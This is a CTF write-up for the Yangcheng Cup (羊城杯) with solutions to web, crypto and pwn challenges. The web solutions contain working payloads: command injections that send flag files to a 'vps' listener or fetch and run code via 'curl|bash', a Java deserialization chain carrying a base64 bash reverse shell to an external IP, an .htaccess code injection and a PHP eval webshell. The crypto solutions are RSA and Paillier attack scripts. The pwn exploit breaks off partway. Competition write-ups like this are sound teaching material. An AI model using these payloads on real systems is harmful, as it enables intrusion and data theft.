羊城杯-WriteUp

  • A+
所属分类:逆向工程

WEB

easycon

解题思路

http://183.129.189.60:10021/index.php 一句话,密码 cmd

羊城杯-WriteUp

txt 内容为图片的 base64,浏览器 data:image/jpg;base64,/9j/...解一下即可

羊城杯-WriteUp


BlackCat

解题思路

扫到的东西

http://183.129.189.60:10022/flag.php

curl -O http://183.129.189.60:10022/Hei_Mao_Jing_Chang.mp3
strings Hei_Mao_Jing_Chang.mp3 看到代码, 是基本原题 只有 exec 那里改了一下

<?php$sec="1233333";$nonce=array();$host='123;curl vps:9999/`cat flag.php |base64`;sleep 5;'; $sec=hash_hmac('sha256',$nonce,$sec); $hmac=hash_hmac('sha256',$host,$sec);echo $hmac;if ($hmac!==$hmac){die('1222'); }vps: nc -vlp 9999Black-Cat- Sheriff=665e74226c9b94a8c83f3d17696ea055d3b05c9825ba05f59405d24ff72   a2cad&One-ear=123;curl vps:9999/`cat flag.php |base64`;sleep 5;&White-cat- monitor[]=


easyphp2

解题思路

http://183.129.189.60:10025/robots.txt

先读代码
base64 rot13 用不了,用这个 ,本地在 zlib.inflate 解压就可以读到了

GET /?file=php://filter/zlib.deflate/resource=GWHT.php HTTP/1.1

通过页面提示 把 pass 改成 GWHT

GET /GWHT.php?count=%27+%60curl+vps%2F1%7Cbash%60l%27s HTTP/1.1 Host: 183.129.189.60:10025    User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,en-US;q=0.7,en;q=0.3Accept-Encoding: gzip, deflate cookie: pass=GWHT

shell

flag.txt /GWHT/system/of/a/down

GWHT 用户拥有读权限

羊城杯-WriteUp

GWHT 用户密码/GWHT/README

877862561ba0162ce610dd8bf90868ad414f0ec6 GWHTCTFsu - GWHTGWHTCTFcat flag.txt


easyjava

解题思路

反序列化,有黑名单, 看代码首先是动态代理,这个调过 cc 链的都会了, nc -vlp 9999 连 接成功

import gdufs.challenge.web.invocation.InfoInvocationHandler;import gdufs.challenge.web.model.DatabaseInfo;import gdufs.challenge.web.model.Info; import ysoserial.payloads.util.Reflections;import java.io.FileOutputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Proxy;public class GWHT {  public static void main(String[]args) throws Exception { DatabaseInfo databaseInfo= new DatabaseInfo();Reflections.setFieldValue(databaseInfo,"host","vps"); Reflections.setFieldValue(databaseInfo,"port","9999"); Reflections.setFieldValue(databaseInfo,"username","111"); Reflections.setFieldValue(databaseInfo,"password","111"); InfoInvocationHandler infoInvocationHandler= newInfoInvocationHandler(databaseInfo);Info proxy = (Info)Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Info.class},infoInvocationHandler);try{ObjectOutputStream os= new ObjectOutputStream(newFileOutputStream("/tmp/test.ser")); os.writeObject(proxy);os.close();}catch (Exception e){ }}
}

然后就是 jdbc 反序列化了

被这 pom.xml 骗了..... ,pom.xml 上都没啥用的

vps 直接开 MySQL_Fake_Server,开启端口改为 9999

jdbc 反序列化 jre8u20 不行 ,只能盲测其他链 随手一试 cc5 shell, 原来有

CommonsCollections.....import gdufs.challenge.web.invocation.InfoInvocationHandler; import gdufs.challenge.web.model.DatabaseInfo;import gdufs.challenge.web.model.Info;import ysoserial.payloads.util.Reflections;import java.io.FileOutputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Proxy;public class GWHT {public static void main(String[]args) throws Exception {DatabaseInfo databaseInfo= new DatabaseInfo();Reflections.setFieldValue(databaseInfo,"host","47.92.94.194"); Reflections.setFieldValue(databaseInfo,"port","9999");Reflections.setFieldValue(databaseInfo,"username","yso_CommonsCollections5 _bash -c {echo,c2ggLWkgPiYgL2Rldi90Y3AvNDcuOTIuOTQuMTk0Lzg5OTkgMD4mMQo =}|{base64,-d}|{bash,- i}&autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.Se rverStatusDiffInterceptor");Reflections.setFieldValue(databaseInfo,"password","m0on");InfoInvocationHandler infoInvocationHandler= new InfoInvocationHandler(databaseInfo);Info proxy = (Info)Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Info.class},infoInvocationHandler);try{ObjectOutputStream os= new ObjectOutputStream(newFileOutputStream("/tmp/test.ser"));
os.writeObject(proxy);os.close();}catch (Exception e){ }}

<?php $a=file_get_contents('/tmp/test.ser'); echo base64_encode($a);
cookie
改成 data=xxxxxx,shell

flag flag_AQUA



easyphp

解题思路

xnuca2019 easyphp 原题 exp 直接打

import requestsurl = 'http://183.129.189.60:10023/sandbox/80909c066da6435210e766339758eb49 /'r= requests.get(url+'?filename=.htaccess&content=php_value%20auto_prepend_ fi%0Ale%20".htaccess"%0AErrorDocument%20404%20"<?php%20echo%20`c at%20/fl*`;?>\')print(r.text,r.status_code)r=requests.get(url);print(r.text)GWHT{easyApache}


easyser

解题思路

脑洞题, http://协议访问 ser.php 得到源码

然后就 star1.php 可以反序列化 ?c 并且要包含 ser.php ,写文件的话直接 rot13 就行了

<?php error_reporting(0);if ( $_SERVER['REMOTE_ADDR'] == "127.0.0.1" ) {highlight_file(__FILE__); }$flag='{Trump_:"fake_news!"}';class GWHT{public $hero;public function __construct($obj){$this->hero = $obj; }public function __toString(){ if (isset($this->hero)){return $this->hero->hasaki(); }else{return "You don't look very happy"; }} }class Yongen{ //flag.php public $file;public $text;
public function __construct($file='',$text='') { $this -> file = $file;$this -> text = $text;}public function hasaki(){$d = '<?php eval($_GET[cmd]);?>'; $a= $d. $this->text; @file_put_contents($this-> file,$a);} }class Yasuo{public function hasaki(){return "I'm the best happy windy man"; }}$a=new Yongen(); $a->file='php://filter/write=string.rot13/resource=12111.php'; $a->text='<?cuc riny($_TRG[pzq]);?>';$b=new GWHT($a);#echo $b;
echo urlencode(serialize($b)); ?>


POST /sandbox/cda751238b027160d31934d2be4f1ff2/star1.php?path=http%3A%2F %2F127.0.0.1%2Fsandbox%2Fcda751238b027160d31934d2be4f1ff2%2Fser.ph p&c=O%3A4%3A%22GWHT%22%3A1%3A%7Bs%3A4%3A%22hero%22%3BO %3A6%3A%22Yongen%22%3A2%3A%7Bs%3A4%3A%22file%22%3Bs%3A50% 3A%22php%3A%2F%2Ffilter%2Fwrite%3Dstring.rot13%2Fresource%3D12111. php%22%3Bs%3A4%3A%22text%22%3Bs%3A25%3A%22%3C%3Fcuc+riny%2 8%24_TRG%5Bpzq%5D%29%3B%3F%3E%22%3B%7D%7D

f 不能用 就 cat *g

POST /sandbox/cda751238b027160d31934d2be4f1ff2/12111.php?cmd=echo+`cat+ /*g`

Crypto

GMC

解题思路

此题对 Goldwasser-Micali Cryptosystem 做了修改。
原始的的
GM 中要求(x|p)(x|q)均为-1,这样求得的密文的(c|N)都是 1,需要分解 N才能知道是不是 N 的平方剩余从而判断加密的明文比特是 0 还是 1
而题目中
x 的生成与原始方案不同,变成了要求 gmc(x, gp) ^ gmc(x, gq) == -2, 即(x|p)(x|q)中要有一个为-1,这种情况下求得的密文的(c|N)将不再恒为 1,而是随 着加密明文的比特变化,具体为:
JN(x)表示 x Jacobi Symbol(N 群上):
当加密‘0’时:
JN(c) = JN(y^2) = 1

当加密'1'时:JN(c) = JN(y^2 * x) = JN(y^2) * JN(x) = 1 * Jp(x) * Jq(x) = -1因此计算每个密文的 Jacobi Symbol 就可以对应明文的 01 比特:

# sageflag = ""for i in ciphertext:if kronecker(i,N) == -1:flag+="1" else:flag+="0"print(long_to_bytes(int(flag,2)))# b'GWHT{**********}'


CSTPC

解题思路

国外某个比赛的原题,

https://furutsuki.hatenablog.com/entry/2020/06/01/023111#cryptorev-S1-Protocol ,使用链接中的脚本可以分解得到 p,q.然后根据https://en.wikipedia.org/wiki/Paillier_cryptosystem 解密方法,解密得到 flag

from gmpy2 import *from Crypto.Util.number import *p= 9787474470481321516583907811116784050975187855984788364954675160 8612054032113242478402120676371769839995008200544060579642969333 7854111313951227025054669783969843838683045832769187955202950007 3063709147376931283083810831691831376813474432585440099538745128 476292613686675663760956152736044907627557653985449787171q= 1554786556530379425251332637942959552005840351433809861614735316 3942162939480596911540932340383209500738137221147181149307226941 0254840849498360193853669418648380371521975393539479526042974618 2908742438639542206671196529556390601558806054957264373382584271 69679128098315911593373079694582149691550103531127409n = ... c = ... g = ...  lam = int(lcm(p-1,q-1)) def L(x):return (x-1)//nmiu = invert(L(pow(g,lam,n*n)),n) def decrypt(c):m = L(powmod(c,lam,n*n))return (m*miu)%nflag = decrypt(c)print (long_to_bytes(flag))

Invitations

解题思路

红帽杯的一道题,不过数据范围小了一些,但是数据很多,也能用现成的脚本做

from Crypto.Util.number import *from gmpy2 import irootfrom sage.all import *

N = list of NE = list of eC = list of ccnt = 14
B = [i*3**431 for i in range(1,14+1)]PKs = [(i,j) for i,j in zip(E,N)]Cs = CPR = PolynomialRing(ZZ, 'x')x = PR.gen()Fs = []for i in range(cnt): if PKs[i][0] == 7: continue f = PR( (x + B[i] )**PKs[i][0] - Cs[i] ) ff = f.change_ring( Zmod(PKs[i][1]) ) ff = ff.monic() f = ff.change_ring(ZZ) Fs.append(f)# e为3 和 5 的情况 时,对应的余数,和模数为(R,Mod)R = [x^6 + 217886733704753040522827416645255049873951870398080045608395595496294631266445527611270252354698197187380479528376654518040892802435651329897832289354210070529025095081871156382129070022055155566928408099735*x^5 + 2474936919742947661476865945707442063168103794939098580261463461520257212290072260169704036908241982364390528674872035441533307694396419065281567436353454476545108951273836023004931692135617830811420125362966733915645401898151307193313418698093902148544570802768119857819138231768056291455038841924463814861*x^4 + 73612512691450041367100301524833665442100270354040082346257877756228072174303510615668937245509866530188107610283892035043822759261206607247515304285264745846684518601923259640158203332767629708312010919069130868767549580013117308303596810836821401445668767286474923925708135623539876065246461368239487110862*x^3 + 63412034474496332464816043717339557667605167378209662083840835100348256708177422504860702279433322590703567129459661791428897395914162124203801084898757640329084017159634435592532374026289565651787824499185552321900794624084697557952881467562853293961565398963548382474763325356327260369483055812906024822288*x^2 + 87154346609896954912208037827728663443060020587167009629782382648261998447914148406223054655674802898117157915698999878940550657450840351724772177509938460962725364191302094723403680349580596695269495328184495906881170095579578659139447675855263263983387315806541189699561726916479719792726006024563888440396*x, x^6 + 435773467409506081045654833290510099747903740796160091216791190992589262532891055222540504709396394374760959056753309036081785604871302659795664578708420141058050190163742312764258140044110311133856816199470*x^5 + 17470239305387750139719565048807268995684676601664684536741793065768774314376797984403857167749151707114703777608718975336025184834778192134560628553536197097262705635015912471973752672096841364458689518707503118640770850235341085501500068654085868586224132763266312550148828473474224783738269864605377686381*x^4 + 45353439335022864475866436806268090272925625952119651839205772063004500011040345108434392799150385686690679152539119042400661567957383144482733877637962114699130629153120637131462271833739553014452193527431336404279687468775229242741356239685181484506049460561941064876147449777255724204551730185199114106104*x^3 + 83004400891689641711049215435323354992936475158170949265715819838272464167613377723046919156716841822720598449314700177028843017723202488232977087344235857510069337164971990182281946739887456611365677953463557587785133267432051155161780925183684475373271570146442643981035320221815567737039886993421771424694*x^2 + 22578388584601544165952598850329465031586846607514652548351607739647543343307830877152000925601151496106364974321342952522835504041885058808758666140558723711362697905817448955583305086609130406530845029320949725609914161626981769058774807557392958940773742843118785542190378227432483214812926015612459005551*x, x^6 + 784392241337110945882178699922918179546226733433088164190224143786660672559203899400572908476913509874569726302155956264947214088768344787632196241675156253904490342294736162975664652079398560040942269159046*x^5 + 153817797067464125431486883655896463096455577247521436896532502431544367378507251115506817508622541964529795545653494879522698621662180748759466848102871434851610619427454012236721859712214526993995568242360933997653421474916887138307351896048681539281933819702423553180019818993443091138702515857884780770778532115262963082045335186503846671593236961003184849270896708945380525772951897655196508775350858073149877*x^4 + 36952582680974848588630230858887600989927126177666980816049953328036504305047657083851620207048827416724944842443018677816333710397548285734253394707744015994249906624577017779183708844237917170439677266841990759706538313597419614263099799946348840339989979063483440904635385796750385081274995744214352547380044525255137879913201823866185015932476365109194553780913811124686380933299868916615439715072291638296504312369793816499482388578411774976279095163990916613301172450677788594283501621553381591753269442393110*x^3 + 2219335786930071779874207456098756973108450549473195985413664878790883125797153045340346355314341634103986587418651197646176345077692947317973560171609900728041916936781209732573518045595514229997956217828643683136182806433897099520935316404714358307455492947737974386799518326925869481220654378323748556910707656883742284850355689276563606393806290514583575943956798695338931226488688239569968691894316488631850566325896596481353359303675873482670442132206113133895788639174097198438274536733405392825977434180586015801860552045398105089918855883880000780792261060807539703337402299272714537312400286361775977586714*x^2 + 11154135805173554884377971009397819025078370696472883095670216618566499056512716854968144470488067808457126673601308464256748607144071058843800776101347534474980967884420203831747270562412138766409362218681816712101153689546087109469812785043510582805103575777814020251673693258867391421540145684540826609322520197205670188106953159574142474835900125856419051365202993454094306209204208009282943106339298557698000884028904154684739791122539404732798374836565300296768741605459791865608028178597775183725624806220494557320713056062235595829962021986825925204986838507891744768764805492742300428793402949104980050466444*x + 14014862722998893040772041588191302390514200221654766571615676548444282222041907123662691380409862841534947791109655429417555507119695339795907297949705379572196300825932479836113170153135517779111116403610999007842912295773793536967296348976480404722651537587739695509258484199593003112139028611964747922367748246578113157904794867749555720863472941215785021979130532185412889746329463641890251472032739573297710897157784139165422715316887193885855733602720105478253345145364930738320563062298083249978097535888452238091353429871539501630605301745249310002036240526177360324724754511279989116821779223406371574361809, x^6 + 1089433668523765202614137083226275249369759351990400228041977977481473156332227638056351261773490985936902397641883272590204464012178256649489161446771050352645125475409355781910645350110275777834642040498675*x^5 + 64055679316641578366033808660529247746190868533453057075521226341844792571079963848994416410523372728273378039495093693266309606909392813958596390389046123223421471196774075786266752785485515522951778451121300695851321180858467290909522686510388907673069341792104571045223400876540066332617896366188368829474*x^4 + 12688953634590330925219433359551807329882077442549302967527231942583134567357870249299981268369991071957108835524136161941518866951003182639259218122852353545512344761741246201342494821706521835903844228224920113261576442724360639411534378712956700793397724366198072155358206389910878111031904295690543006831*x^3 + 34953106434104221718589389849729412582205594299452987666095819506060939990040005109231249919857712698485435657752254603679502462224501993773767182398377564700844752922915133043163594700247411888059407331015771436729868563316365508775633791254875087776446602646723608307153872516504010082431108029734553061284*x^2 + 32825998421513414853369510848522472347899098437387526060240891148002199907760940308254547340328090464603632836207839164265716477947622215056787450121923327768636410424706855020917649028875761099590484373522855791900449681890097447773767766623958095212593347254363393450001100278808506221668742841195783841903*x, x^6 + 1307320402228518243136964499871530299243711222388480273650373572977767787598673165667621514128189183124282877170259927108245356814613907979386993736125260423174150570491226938292774420132330933401570448598410*x^5 + 29702735103816892408422403035461049660728752432738143330590951632866700566952183380195578910732606150399465802927569807130184143559276078202956065784112714004078729383188482746267522817019195524080652811060082993182536510920105572978178210993451021148591603974551781312747582723683742447479224988245433504748*x^4 + 65716770928423649616230514781830367641322730185388412349739547152447441343964690326752678983705976177589274925951963819875573924911531626237510749598330276385437697548838546930826025340724811044549971053060445674649713981139754024336021429164257149832837480914588674322192747859245668493932646585696774142379*x^3 + 4788709299711938896839882032137993054163130105146605992986956885812804654204667994861977013523920392384731680792815300718796012170484846788932935252894570790906913936241209981337889377255981345022777490111659926174268238691023299006167790703244484737197619688178650538810991454583861421871010025618456683309*x^2 + 3803593737487441016877999649559600136249184561201105425582815649923143184215575709029011651938659750857222682072256284651882513437850479672325871175176091617392370734699924640106092531439956675003213154591781766257680150389325889397696094427591225392124986251728497034204575124012358463366731788413464842741*x, x^6 + 2091712643565629189019143199794448478789937955821568437840597716764428460157877065068194422605102692998852603472415883373192570903382252767019189977800416677078640912785963101268439072211729493442512717757456*x^5 + 1093815445813078225290573394886374848685906327093485773486453350624315501358273785710270702283538076192211254516524767727176398489112820820779788737914294314240969006704593107034550904089242948738779969580107760351720020852647257483511548173112822513054876353610105219751918137519072627490661466626040627808456753310139051991717365215864697362959073688027650925351424675603943303869693168701984765610833431343260372*x^4 + 47154725891180494871096813068600018741822516624063584985813803992200728960616976049861866827442851938240983247859041004330085318171342760002864823397549766008637650778490078681202059619119229934215254644418671241749371736137238037816147531523475009053011460113079291883042742449082561010009978852046266707718154837698924045509057252671259132120030347551264544276621138473150004760177053337782653685644815042197404996361643823579041463962073146598903454117973200659411954977090538440006666547704681913036581861452960*x^3 + 508213744462965139095914189981902214110196453957064674855318819432760737293397157359485907678475031479420915583019618253620789917283924676929318370009712733640892065424880514844742868971115042007838670766853509825402027840711622901511269370920304311330265484070499650124960472583846959476237362413926365971427397480765298526727405746880500860589672274300435569341548969594709991127809111035407673806927076176359905349738559741480892178149120761295239368308631282333656534150505545312428489285387708442675386901386914693491765103566471781981949193802679775514964685249178076974094766980159027312790782039404569274724*x^2 + 274338813606790885817553771766532081429364246916737590202215644962013433328937482268271119451034240916693939819722595324147250081787010872817322833999701549311138795697901728469154111981850061565281071722684802398838271465401065146108658721626949315050298796592537683376065351779247118978834223798891748290186832737355712874681464770452781463384394097094804938830354186431750550351937711503595231521680491179153127017108817308936923564176353861120128458913958411354867626766969699251610424748240276406230581072938855075350413957163558539446455080516084194593129003697271204054745544257008016030813517061942864052224*x + 37022702293653765298728080368540014517387174355739864750649674485626178672705365677169519259845994996196521645061185262712755078031905529923633971137384045784372231160393116662103630654634897696038566525567720571066938599016034288258863318705538777221078259517761898497111457805086533594629113791770656410637283324112433806958424069793425272929552478776888714481590668267196637091391474841095572811887581244620614537296557821619633054473408248655140614701826656717181633964577124758095398331581832832806601417473457034035121351697599008954772630687249874998879677779645080970481344358499283193811486954356425621504, x^6 + 1960980603342777364705446749807295448865566833582720410475560359466651681398009748501432271192283774686424315755389890662368035221920861969080490604187890634761225855736840407439161630198496400102355672897615*x^5 + 57681032285723877567829674838446168713420163589844067569014291891448946281104779214586755289567229505456350924381898908539744743078025616557866383776113232709159533556810265277360317466339991505556033163493749342387191665896470587964745232003334768720957079608667727160964978643984389406609560635810152274422*x^4 + 43837538241082116207303697031602904277174566907659424910397958762080626590930621527419142096887126210898214553537438113797486727296515639261517684051958556198941608635220517910785883467180821525634961898425181016956391292004289350037867793139332480925014999550276402542452272456984413295851729534771542692009*x^3 + 35698628855774932851805671022570741879987492314329684332106349465603048128597501440377744266869279902634264375411844859962398191559861206010737717195048253491848787463973198064694036486224150825656350939771216319639986372634617569482483956431642083192626753466811890158660875149370409429694319311126179539203*x^2 + 41819910619696924017548977989023105133536787206587820236237333170336709642422885645366283640892845980847353606137099903886878406065852078884949385093535702033868843651051788609499795095845028618114620119284311210229206084627140470716821761290979921493138095666669537627633194542295455601179174732075936725396*x, x^6 + 2614640804457036486273928999743060598487422444776960547300747145955535575197346331335243028256378366248565754340519854216490713629227815958773987472250520846348301140982453876585548840264661866803140897196820*x^5 + 1709086634082934727016520929509960701071728636083571521072583360350492970872302790172297972318028244050330244183238444323603964133400615122314962048060126684129775966313445134749243444632291941287527261861741559950437419932507851497236574697684070651952992287600981085192202688004551914580863262222530483150050058680728072415665449926048234510028446691777954907674575881482735551552469755753070877181551291279170184*x^4 + 299964545557572733910613944253656202732197653972074808905953461280259966484886972727044188521495033393299915714227497637825679579938820675425443711488175427827644938092731557340127609122171062697417102182367770604991132668717760890578542171587117670717261063534158833992656493898662919593997932021825202097633229769550563727445180065227825335749050423625280286861233674392502880900371636699507198785264357098410102804893856572065924654904195823052913020356404194167339949016673318132355951885274470262293597549928384*x^3 + 13161815029909543197051320109625474773690797398027539531070553183227857497734271451969331293277501958870174098586485521703290004789050770614392467988899741654965370067431793467452895770025489281660283595550096905370658069451794208985057138168545946605471496229788231702731647161811339857155900919497904995624740199548374957919053067652606671714562140990793509080104408954204730379817114520988639076500272616275071716466196204176422965448215023280264531702844970935299090205295916061554400561806868331890821985039068528184990304653767457105363480506808626587582947197052304334449390700565987567130180294120212731674804*x^2 + 12971179172757264122557437242730968619562612110828985118045603965384702560240544463091095731185446369944618420523801527685849905609813246597609696083334214620058694228230407370125265044660800938405386166790941948744489460285905111723278041685381881902266179659556471403338787691840533660752647443399488463138084220123660459043274797464661644793653253404348456975797268005039453131555016014783996778199964325275274338317617208803221381431951325455726310617494280122504530813035089369045019403973883334804642189083266053918082983882699100854138590986165797777565629949281333821180391369407641161581556926233668426585648*x + 3195826121804421066766170112343787749059167239351991179384518382459715183071597395870184089214146360904868613287884691800880573197954469605643800649065815305646579355776538523203283455888799193325921273708482228549049020372583473792263825464511519877840302034502747647055388670401050428318132720528755948494135076523068048067267757587145469672970146021809407073782709344067947439273905766220381370236490777080603870334973258968848208936666041049760022834142040691637171121417337781532263062564948190175656972655962706375591202284080077776830823218882054111614571210581828015167494650767993214926930657228301084624784, x^6 + 2876104884902740134901321899717366658336164689254656602030821860551089132717080964468767331082016202873422329774571839638139784992150597554651386219475572930983131255080699264244103724291128053483454986916502*x^5 + 2067994827240351019689990324707052448296791649661121540497825866024096494755486376108480546504814175300899438226530759008604101050411198372579766540759772381274676484143735396072935033249991552693300087094221237843405664020018185471141862641926920831513549200278933184147138287803307535289650944865555947889171174420972519044704497456316268640620298251319081246241997727945821651327850614251688666202124250142561189*x^4 + 173140364341541802097502805758929300375243140924742577479019795361040575434184855732710419873954974770997612015277239023988350519597557743185208526309257742063517171196926065221780214684333619324172695895637688389870905390619540918705249759937145333275234878056846151897367140216108377854060406397282228607119863351509037507807245308480751091995390188054601482897650916687541877009333506857861766259476758119434277927147268047462970970140763398217197660490939538842902481990938808038513260049380204980449350197635578*x^3 + 3623991869980354576609145079592994559095574847915942957015691355757707834686252613849706428195261147225101931014826618538997879716849923837782659919612324093906224233111369635787870162783800400201985382494394410911074799987669060625862107031540673024592685972803016254638577338818343915243728247271757653597164052329979762149036389320381370997383461862684356047871653650651632816492590803820556412780013460266789124894482676744774617412853102999508600071867585269423835870136799587323754774497032296074061776116903749112064685660995245226215524380327748789704685091068609916487137917072734177842690452660652942336726*x^2 + 4693644016063762959985955121784316403788565430501034155342726762472377158733841335085397907174767152691072036398052680334459594396873999386526771789556253118530001949291792698778088701930983103117063768278139602283503846578546703263354904829401463885968635541167740695784794985782613362155881192556152287484964546225915035292946531594875979233881032971426266541015447249840525811610860347220032794909524556443130869070221606109223823192401495887749594905014633290792986638572116050624921425163731238261827677159508937066275420954337756311145337160448552584759384620309735269142437111694879820468647824908888145314660*x + 1519753281734776236807782954663048110461929821241067563380103967090034580854029074289310409513365434914445146586387947591062427338198989733235620122454476362434561560449844024280157363056284491167993726035666486145903546730686498002401970790604676485431289769719105639542967685509662393612630076043945162711189927125731401105007773736352889545422200441961604881521395027178229132324835230426757225175754416997953772377264902002605140822928965103907375203822931790680985770017391011826128425412828764232541948555384419771425020828450226563726071943872223033739782618325212171828183006458679797284687191150383264428025, x^6 + 2832527538161789526796756416388315648361374315175040592909142741451830206463791858946513280611076563435946233868896508734531606431663467288671819761604730916877326236064325032967677910286717022370069305296555*x^5 + 35853445354463165068525887747064514427737486278716023108924142876500995119098930515172364261308636900126531846970486750216029441088367436591959710302538145922566172229508684645041851710011233822264408888037861433148733146706320001096210745508832511575983949068399383919791554906359278755744753803398704331304*x^4 + 17474121432561554889462021948900101971321358015962795326681539359467147421879796435295628852575691646897379399506177003094186484506577197380421571721350336949149096464686485935434718960585121425427342871327872298879853601128107742715310262114408674885368729371355753167711144329277491571165091013474578092495*x^3 + 32495002205595845501952928418919956109637963106847873075391438171241826064798950513991214827505865004609724600530901207969327190350936684761649498068240049223756478280364823760421914841340706829917243253440417723370416625504305652507010592029803176962682754826373110512775520545212113907607222195549615621100*x^2 + 51589829047268066521648500616347946101609761371054304722497205821831925401398747214617362162955664516260870474118405961123372483544006933654882176041372764218590923971433398872916215183038837437704182719506053566321248149004357374340658719508722631545861595714650688209843131979894587037014752719891401240367*x]Mod = Mod = [90361246179367799606636863352077187566064794796456461177972505143929614628873639223638940051613378291778175724735519020067052934403115774679961661481160141872257338930620863078688082915958381094674423803586734810828570206667419458295735288184697613296663226516640069281835035704453280781694226293902395215269, 83202136479583179143205059354864808364257451670037867814548678142629716115373207061455185843132942837300718212806534861585785041547496145915392175827479376792813058845422044909477892978293495048968520853100992244672416436363272286740068846609018921112995562647093952700070707124842514243806528982910520604851, 146694460234280339612721415368435987068740712812770728817136582256341063038147863645902264969297892447333024201649306207442798919845916187823646745721109151386096190207317810424580842120750075213595282979568495342617919336417068886973047979116994072272482630372638964064972815256237040541007947708358680368391, 69335368232766044823545542187513771534967902179150417021053554241638095909666122935053210964003511014870892979205875153115719406287728162111662254890513324436473313860142126335197489227724691042286796058111753972895113145188906829975189506125997319609609974126645475084944238417929532560409919420929255247813, 93889543065608951579836429313520485233295158467296710329997599807630401722519056218864031741675898621375735347229494633577571323057785261271373295860331130588582231771193563731092603614818963592931492474988532068227153492022582339704874613690044001529412669510094771064646843676765163737757104643318364446839, 65031485534704406281490718325237831433086480239135617407356760819741796565231283220528137697949585150709734732370203390254643835828984376427852793969716489016520923272675090536677771074867975287284694860155903327351119710765174437247599498342292671117884858621418276613385329637307269711179183430246951756029, 72454311940971803130612024751128556938725737742029062979349607787083978826668706819793864356790325653817555839762732164812521831864626411495002267399139766907846534945632792910468487287154661692733986224962564621615361536373173705359255153606552352581704159462310354407361311378558150604159961029937052901709, 126172075578367446151297289668746433680600889845504078949758568698284471307000358407453139846282095477016675769468273204536898117467559575203458221600341760844973676129445394999861380625435418853474246813202182316736885441120197888145039130477114127079444939102267586634051045795627433724810346460217871661901, 75691424835079457343374072990750986689075078863640186724151061449621926239051140991748483370587430224317778303489124525034113533087612981452189061743589227565099659070008017454957304620495920813121234552401715857719372861565651204968408267740732475458128601061676264465241188491988485848198323410127587280471, 86478932133708863968749977073639049451666195461247968321317885106346907736572028122496476049748246757185316498949163898915427948597498506162230927380667345132742891001640364064647368394822175742973968167028656790729030556005407153405955458636780270673780720333871959638216946584461925553782697695137132507853]
F = crt( R, Mod)M = reduce( lambda x, y: x * y, Mod)FF = F.change_ring( Zmod(M) )FF = FF.monic()m = FF.small_roots(X=2**862,beta=0.8)[0]# use python3 print(long_to_bytes(iroot(m,2)[0]))


RRRRRRRSA

解题思路

对N1/N2 使用连分数攻击,得到Q1,Q2进而分解N1,N2最后解密得到flag


from gmpy2 import *from Crypto.Util.number import *

N1=...c1=...E1=...N2=...c2=...E2=...

c = continued_fraction(N1/N2)clen = len(c)for idx in range(clen): a,b =c.numerator(idx),c.denominator(idx) if isPrime(a) and isPrime(b): print(a,b)Q1 = 11628371843051760370952910026406764366191062991235308941262037248377376991693250742343307155422036713746576338866595433599862614339347536916226536644210947Q2 = 11628371843051760370952910026406764366191062991235308941262037248377376991693250742343307155422036713746576338866595433599862614339347536916226536644211929P1 = iroot(N1//Q1,2)[0]P2 = iroot(N2//Q2,2)[0]

phi1 = (P1*(P1-1)*(Q1-1))phi2 = (P2*(P2-1)*(Q2-1))

d1 = invert(E1,phi1)d2 = invert(E2,phi2)

m1 = pow(c1,d1,N1)m2 = pow(c2,d2,N2)flag = long_to_bytes(m1)+long_to_bytes(m2)print(flag)


Power

解题思路

原题,直接用sage求出x,然后解方程得到p,最后使用power prime 的解密方式解密


p = 7234391427703598327916723159145232922047935397302241978344500497098972068808591685717500902909442183573763273395725479516998210374727754578133587007330339dp = ...c = ...m = pow(c,dp,p)print(long_to_bytes(m))


Simple

解题思路

https://github.com/Hcamael/ctf-library/tree/master/RSA1 https://paper.seebug.org/128/ 

参考上面的两篇文章,发现很类似可以使用连分数分解n2得到e1,得到e1 之后就是delctf 的原题了。

from Crypto.Util.number import *N= ...e1= 114552459553730357961013268333698879659007919035942930313432809776799669181481660306531243618160127922304264986001501784564575128319884991774542682853466808329973362019677284072646678280051091964555611220961719302320547405880386113519147076299481594997799884384012548506240748042365643212774215730304047871679706035596550898944580314923260982768858133395187777029914150064371998328788068888440803565964567662563652062845388379897799506439389461619422933318625765603423604615137217375612091221578339493263160670355032898186792479034771118678394464854413824347305505135625135428816394053078365603937337271798774138959e2= 27188825731727584656624712988703151030126350536157477591935558508817722580343689565924329442151239649607993377452763119541243174650065563589438911911135278704499670302489754540301886312489410648471922645773506837251600244109619850141762795901696503387880058658061490595034281884089265487336373011424883404499124002441860870291233875045675212355287622948427109362925199018383535259913549859747158348931847041907910313465531703810313472674435425886505383646969400166213185676876969805238803587967334447878968225219769481841748776108219650785975942208190380614555719233460250841332020054797811415069533137170950762289c = ...
for i in range(688,710): M1 = N**0.5 M1 = int(M1) M2 = N**(1+i/2048) M2 = int(M2) D = diagonal_matrix(ZZ, [N, M1, M2, 1]) B = Matrix(ZZ, [ [1, -N, 0, N**2], [0, e1, -e1, -e1*N], [0, 0, e2, -e2*N], [0, 0, 0, e1*e2] ]) * D L = B.LLL() v = Matrix(ZZ, L[0]) x = v * B**(-1) phi = (x[0,1]/x[0,0]*e1).floor() try: d = inverse_mod(65537,phi) m = pow(c,d,N) flag = long_to_bytes(m) if b"GWHT" in flag: print(flag) break except: continue



Pwn

Sign_in

解题思路

程序存在uaf漏洞,交替释放fastbins造成double free劫持malloc hook,由于原有栈one_gadget不满足条件,利用先调用realloc调整栈,再修改realloc hook为one gadget,getshell


from pwn import *context.log_level = 'debug'#prog = './pwn1'#p = process(prog)
libc = ELF("./libc-2.23.so")p = remote("183.129.189.60", 10029)def add(size, name, msg): p.sendlineafter("choice : ", "1") p.sendlineafter("size of the game's name:", str(size)) p.sendlineafter("game's name:", name) p.sendlineafter("game's message:", msg)def show(): p.sendlineafter("choice : ", "2")def free(idx): p.sendlineafter("choice : ", "3") p.sendlineafter("index:", str(idx))
